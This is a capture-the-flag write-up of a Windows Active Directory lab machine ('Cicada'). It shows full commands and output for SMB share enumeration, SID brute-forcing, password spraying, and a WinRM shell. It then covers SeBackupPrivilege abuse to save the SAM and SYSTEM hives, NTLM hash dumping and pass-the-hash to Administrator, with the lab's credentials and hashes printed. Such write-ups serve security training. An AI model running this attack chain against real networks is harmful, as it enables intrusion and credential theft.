

I scanned open ports, and decided to focus on smb service (port 445)

```
(kali@kali)~[~/Desktop]
$ sudo nmap 10.10.11.35 -sV
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-28 08:51 EST
Nmap scan report for 10.10.11.35
Host is up (0.18s latency).
Not shown: 989 filtered tcp ports (no-response)
PORT      STATE SERVICE          VERSION
53/tcp    open  domain           Simple DNS Plus
88/tcp    open  kerberos-sec     Microsoft Windows Kerberos (server time: 2025-01-28 20:52:15Z)
135/tcp   open  msrpc            Microsoft Windows RPC
139/tcp   open  netbios-ssn     Microsoft Windows netbios-ssn
389/tcp   open  ldap             Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?    Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
464/tcp   open  kpasswd5?        Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
593/tcp   open  ncacn_http       Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap         Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
3268/tcp  open  ldap             Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
3269/tcp  open  ssl/ldap         Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 66.25 seconds
(kali@kali)~[~/Desktop]
```

Without any password, I could find the names of the share directories

```
(kali@kali)~[~/Desktop]
$ sudo smbmap -H 10.10.11.35 -u admin

SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEVans@gmail.com
https://github.com/ShawnDEVans/smbmap

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)

[*] IP: 10.10.11.35:445 Name: 10.10.11.35
Disk
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
DEV NO ACCESS
HR READ ONLY
IPC$ READ ONLY Remote IPC
NETLOGON NO ACCESS Logon server share
SYSVOL NO ACCESS Logon server share
(kali@kali)~[~/Desktop]
```

I could see the content of the HR directory without password

```
(kali@kali)~[~/Desktop]
$ smbclient //10.10.11.35/HR
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> ls
.                D          0 Thu Mar 14 08:29:09 2024
..               D          0 Thu Mar 14 08:21:29 2024
Notice from HR.txt A       1266 Wed Aug 28 13:31:48 2024
4168447 blocks of size 4096. 435549 blocks available
smb: \> get "Notice from HR.txt"
getting file \Notice from HR.txt of size 1266 as Notice from HR.txt (1.9 KiloBytes/sec) (average 1.9 KiloBytes/sec)
smb: \>
```

The file contains the password Cicada\$M6Corpb\*~@Lp#nZp!8, but it not clear for which user.

```
(kali㉿kali)-[~/Desktop]
$ impacket-lookupsid admin@10.10.11.35
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
```

Password:

```
[*] Brute forcing SIDs at 10.10.11.35
[*] StringBinding ncacn_np:10.10.11.35[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-917908876-1423158569-3159038727
498: CICADA\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: CICADA\Administrator (SidTypeUser)
501: CICADA\Guest (SidTypeUser)
502: CICADA\krbtgt (SidTypeUser)
512: CICADA\Domain Admins (SidTypeGroup)
513: CICADA\Domain Users (SidTypeGroup)
514: CICADA\Domain Guests (SidTypeGroup)
515: CICADA\Domain Computers (SidTypeGroup)
516: CICADA\Domain Controllers (SidTypeGroup)
517: CICADA\Cert Publishers (SidTypeAlias)
518: CICADA\Schema Admins (SidTypeGroup)
519: CICADA\Enterprise Admins (SidTypeGroup)
520: CICADA\Group Policy Creator Owners (SidTypeGroup)
521: CICADA\Read-only Domain Controllers (SidTypeGroup)
522: CICADA\Cloneable Domain Controllers (SidTypeGroup)
525: CICADA\Protected Users (SidTypeGroup)
526: CICADA\Key Admins (SidTypeGroup)
527: CICADA\Enterprise Key Admins (SidTypeGroup)
553: CICADA\RAS and IAS Servers (SidTypeAlias)
571: CICADA\Allowed RODC Password Replication Group (SidTypeAlias)
572: CICADA\Denied RODC Password Replication Group (SidTypeAlias)
1000: CICADA\CICADA-DC$ (SidTypeUser)
```

```
498: CICADA\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: CICADA\Administrator (SidTypeUser)
501: CICADA\Guest (SidTypeUser)
502: CICADA\krbtgt (SidTypeUser)
512: CICADA\Domain Admins (SidTypeGroup)
513: CICADA\Domain Users (SidTypeGroup)
514: CICADA\Domain Guests (SidTypeGroup)
515: CICADA\Domain Computers (SidTypeGroup)
516: CICADA\Domain Controllers (SidTypeGroup)
517: CICADA\Cert Publishers (SidTypeAlias)
518: CICADA\Schema Admins (SidTypeGroup)
519: CICADA\Enterprise Admins (SidTypeGroup)
520: CICADA\Group Policy Creator Owners (SidTypeGroup)
521: CICADA\Read-only Domain Controllers (SidTypeGroup)
522: CICADA\Cloneable Domain Controllers (SidTypeGroup)
525: CICADA\Protected Users (SidTypeGroup)
526: CICADA\Key Admins (SidTypeGroup)
527: CICADA\Enterprise Key Admins (SidTypeGroup)
553: CICADA\RAS and IAS Servers (SidTypeAlias)
571: CICADA\Allowed RODC Password Replication Group (SidTypeAlias)
572: CICADA\Denied RODC Password Replication Group (SidTypeAlias)
1000: CICADA\CICADA-DC$ (SidTypeUser)
1101: CICADA\DnsAdmins (SidTypeAlias)
1102: CICADA\DnsUpdateProxy (SidTypeGroup)
1103: CICADA\Groups (SidTypeGroup)
1104: CICADA\john.smoulder (SidTypeUser)
1105: CICADA\sarah.dantelia (SidTypeUser)
1106: CICADA\michael.wrightson (SidTypeUser)
1108: CICADA\david.orelious (SidTypeUser)
1109: CICADA\Dev Support (SidTypeGroup)
1601: CICADA\emily.oscars (SidTypeUser)
```

Then I tried users and the password I found until I found right credentials

```

(kali@kali)-[~/Desktop]
$ crackmapexec smb 10.10.11.35 -u michael.wrightson -p 'Cicada$M6Corp*@Lp#nZp!8' --groups
[*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.
htb) (signing:True) (SMBv1:False)
[*] cicada.htb\michael.wrightson:Cicada$M6Corp*@Lp#nZp!8
[*] Enumerated domain group(s)
Groups
membercount: 0
Dev Support
membercount: 0
Groups
membercount: 0
DnsUpdateProxy
membercount: 0
DnsAdmins
membercount: 0
Enterprise Key Admins
membercount: 0
Key Admins
membercount: 0
Protected Users
membercount: 0
Cloneable Domain Controllers
membercount: 0
Enterprise Read-only Domain Controllers
membercount: 0
Read-only Domain Controllers
membercount: 0
Denied RODC Password Replication Group
membercount: 8
Allowed RODC Password Replication Group
membercount: 0
Terminal Server License Servers
membercount: 0
Windows Authorization Access Group
membercount: 1
Incoming Forest Trust Builders
membercount: 0
Pre-Windows 2000 Compatible Access
membercount: 1
Account Operators
membercount: 0

```

Then I found the password for the user david.orelious and its password aRt\$Lp#7t\*VQ!3, and checked what file can I see with his premissions

```

Rights.
(kali@kali)-[~/Desktop]
$ crackmapexec smb 10.10.11.35 -u michael.wrightson -p 'Cicada$M6Corp*@Lp#nZp!8' --rid-brute --users
[*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.
htb) (signing:True) (SMBv1:False)
[*] cicada.htb\michael.wrightson:Cicada$M6Corp*@Lp#nZp!8
[*] Enumerated domain user(s)
badpwdcount: 1 desc:
cicada.htb\emily.oscars
badpwdcount: 5 desc: Just in c
cicada.htb\david.orelious
badpwdcount: 0 desc:
cicada.htb\michael.wrightson
badpwdcount: 0 desc:
cicada.htb\sarah.dantelia
badpwdcount: 0 desc:
cicada.htb\john.smoulder
badpwdcount: 0 desc: Key Distr
cicada.htb\krbtgt
badpwdcount: 0 desc: Built-in
cicada.htb\Guest
badpwdcount: 0 desc: Built-in
cicada.htb\Administrator
badpwdcount: 0 desc: Built-in
[*] Brute forcing RIDs
498: CICADA\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: CICADA\Administrator (SidTypeUser)
501: CICADA\Guest (SidTypeUser)
502: CICADA\krbtgt (SidTypeUser)

```

```

(kali@kali)-[~/Desktop]
$ smbclient //10.10.11.35/DEV -U david.orelious
Password for [WORKGROUP\david.orelious]:
Try "help" to get a list of possible commands.
smb: \> ls
.                D                0    Thu Mar 14 08:31:39 2024
..               D                0    Thu Mar 14 08:21:29 2024
Backup_script.ps1 A            601  Wed Aug 28 13:28:22 2024
4168447 blocks of size 4096. 439356 blocks available
smb: \>

```

then I found another credentials inside the powershell file, user: emily.oscars, password: Q!3@Lp#M6b\*7t\*Vt



```
smb: \> get Backup_script.ps1
getting file \Backup_script.ps1 of size 601 as Backup_script.ps1 (1.0 KiloBytes/sec) (average 1.0 KiloBytes/sec)
smb: \> ^C

(kali㉿kali)-[~/Desktop]
$ ls
44290.py      GptTmpl.inf      pt.log          test.elf
asd           impacket          pt_project.sh   TMagen773632.s4.zx301
asd.zip       kerbrute_linux_amd64  Registry.pol    TMagen773632.s9.nx212
Backup_script.ps1 'lab_HPSOLIX12 (1).ovpn' Responder        TMagen773632.s9.zx301
burpsuite_pro_v2023.2.2 lab_HPSOLIX12.ovpn  suspicious_filter.log top_1000_domain.txt
CapTipper     malicious_traffic.pcap shell.sh         tor-browser-linux-x86_64
chrmoce.exe   'Notice from HR.txt' sysvol_contents.txt user_list.txt
comment.cmtx  NT_hashes_core.txt  test            test.cif
evtx.zip      out.php            test1
filter1.log   project.sh

(kali㉿kali)-[~/Desktop]
$ cat Backup_script.ps1

$sourceDirectory = "C:\smb"
$destinationDirectory = "D:\Backup"

$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force
$credentials = New-Object System.Management.Automation.PSCredential($username, $password)
$dateStamp = Get-Date -Format "yyyyMMdd_HH:mm:ss"
$backupFileName = "smb_backup_$dateStamp.zip"
$backupFilePath = Join-Path $destinationDirectory -ChildPath $backupFileName
Compress-Archive -Path $sourceDirectory -DestinationPath $backupFilePath
Write-Host "Backup completed successfully. Backup file saved to: $backupFilePath"

(kali㉿kali)-[~/Desktop]
$
```

Then I used this user to interact with Windows Remote Management

```
(kali㉿kali)-[~/Desktop]
$ evil-winrm -i 10.10.11.35 -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection disabled on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#remote-shell

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents>
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> ls
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> cd ..
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA> ls

Directory: C:\Users\emily.oscars.CICADA

Mode                LastWriteTime         Length Name
----                -
d-r--             8/28/2024 10:32 AM             Desktop
d-r--             8/22/2024 2:22 PM             Documents
d-r--             5/8/2021 1:20 AM             Downloads
d-r--             5/8/2021 1:20 AM             Favorites
d-r--             5/8/2021 1:20 AM             Links
d-r--             5/8/2021 1:20 AM             Music
d-r--             5/8/2021 1:20 AM             Pictures
d-r--             5/8/2021 1:20 AM             Saved Games
d-r--             5/8/2021 1:20 AM             Videos
```

Inside the Desktop I found the flag

```
File Actions Edit View Help
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> dir
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> ls
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> cd ..
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA> ls

Directory: C:\Users\emily.oscars.CICADA

Mode                LastWriteTime         Length Name
----                -
d-r-----         8/28/2024 10:32 AM             Desktop
d-r-----         8/22/2024  2:22 PM             Documents
d-r-----         5/8/2021  1:20 AM             Downloads
d-r-----         5/8/2021  1:20 AM             Favorites
d-r-----         5/8/2021  1:20 AM             Links
d-r-----         5/8/2021  1:20 AM             Music
d-r-----         5/8/2021  1:20 AM             Pictures
d-r-----         5/8/2021  1:20 AM             Saved Games
d-r-----         5/8/2021  1:20 AM             Videos

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA> cd Desktop
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop> ls

Directory: C:\Users\emily.oscars.CICADA\Desktop

Mode                LastWriteTime         Length Name
----                -
-a-r-----    2/23/2025  5:41 PM             34 user.txt
```

for privilege escalation, I checked what this user capable to do

```
*Evil-WinRM* PS C:\Users\Administrator\Desktop> whoami
cicada\emily.oscars
*Evil-WinRM* PS C:\Users\Administrator\Desktop> whoami /priv

PRIVILEGES INFORMATION
-----
Privilege Name      Description                State
-----
SeBackupPrivilege   Back up files and directories Enabled
SeRestorePrivilege  Restore files and directories Enabled
SeShutdownPrivilege Shut down the system       Enabled
SeChangeNotifyPrivilege Bypass traverse checking   Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
*Evil-WinRM* PS C:\Users\Administrator\Desktop>
```

the privilege SeBackupPrivilege is crucial as it allows a user to read files regardless of file system permissions and backup system data, so I can use it to save system and sam files, then download it to the kali for extract hash of the password of the admin

```
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents>
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents>
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents>
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> reg save hklm\system system
The operation completed successfully.
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> reg save hklm\sam sam
The operation completed successfully.
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> █
```

```
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> reg save hklm\sam sam
The operation completed successfully.
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> download sam
Info: Downloading C:\Users\emily.oscars.CICADA\Documents\sam to sam
Info: Download successful!
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> download system
Info: Downloading C:\Users\emily.oscars.CICADA\Documents\system to system
Info: Download successful!
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> █
```

move the mouse pointer inside or press Ctrl+G.

I used the impacket tool to extract the hash password of the administrator, the NTLM hash is 2b87e7c93a3e8a0ea4a581937016f341

```

(kali@kali)-[~/Desktop]
$ impacket-secretsdump -sam sam -system system local
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0x3c2b033757a49110a9ee680b46e8d620
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Cleaning up ...

(kali@kali)-[~/Desktop]
$

```

then I used “pass the hash” instead of resolve the hash into password, and got a privileged session, and found the root flag

```

(kali@kali)-[~/Desktop]
$ evil-winrm -i 10.10.11.35 -u administrator -H '2b87e7c93a3e8a0ea4a581937016f341'
Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function
is not supported on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-shell

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> ls

Directory: C:\Users\Administrator\Documents

Mode                LastWriteTime         Length Name
----                -
d-----          3/14/2024  10:20 PM                WindowsPowerShell

cd ..
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..
*Evil-WinRM* PS C:\Users\Administrator> ls

```

```

*Evil-WinRM* PS C:\Users\Administrator> cd Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> ls

Directory: C:\Users\Administrator\Desktop

Mode                LastWriteTime         Length Name
----                -
-ar-----          2/23/2025   5:41 PM             34 root.txt

```